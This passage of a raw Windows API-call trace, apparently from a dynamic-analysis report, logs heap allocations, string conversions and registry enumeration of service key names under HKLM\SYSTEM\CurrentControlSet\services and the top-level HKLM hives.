Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0228.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0228.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0228.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0228.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0228.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0228.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0228.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0228.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0228.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0228.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0228.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0228.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0228.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0228.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0228.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0228.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0228.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0228.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0228.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0228.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0228.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0228.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0228.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0228.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0228.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0228.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0228.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0228.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0228.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0228.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0228.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0228.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0228.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0228.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0228.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0228.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0228.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0228.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0228.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0228.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0228.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0228.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0228.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0228.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0228.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0228.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0228.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0228.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0228.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0228.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0228.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0228.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0228.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0228.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0228.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0228.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0228.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0228.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0228.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0228.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0228.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0228.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0228.670] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0228.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0228.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0228.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0228.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0228.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0228.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0228.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0228.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0228.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0228.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0228.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0228.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0228.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0228.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0228.671] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0228.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0228.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0228.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0228.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0228.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0228.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0228.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0228.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0228.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0228.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0228.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0228.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0228.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0228.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0228.672] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0228.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0228.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0228.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0228.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0228.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0228.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0228.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0228.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0228.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0228.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0228.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0228.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0228.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0228.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0228.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0228.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0228.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0228.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0228.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0228.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0228.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0228.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0228.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0228.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0228.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0228.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0228.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0228.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0228.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0228.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0228.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0228.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0228.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0228.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0228.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0228.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0228.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0228.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0228.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0228.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0228.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0228.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0228.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0228.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0228.676] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0228.676] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0228.676] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0228.676] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0228.676] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0228.676] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0228.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0228.676] RegCloseKey (hKey=0xc4) returned 0x0 [0228.676] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0228.676] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0228.676] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0228.676] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0228.676] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0228.676] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0228.680] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0228.680] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0228.680] RegCloseKey (hKey=0x80000002) returned 0x0 [0228.680] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0228.680] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0228.680] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0228.680] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0228.680] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0228.680] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0228.680] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0228.680] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0228.680] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0228.680] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.680] RegCloseKey (hKey=0x154) returned 0x0 [0228.680] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0228.681] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0228.681] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0228.681] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0228.681] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0228.681] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0228.681] RegCloseKey (hKey=0xc4) returned 0x0 [0228.681] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0228.681] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0228.681] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0228.681] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0228.681] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0228.681] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0228.681] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, 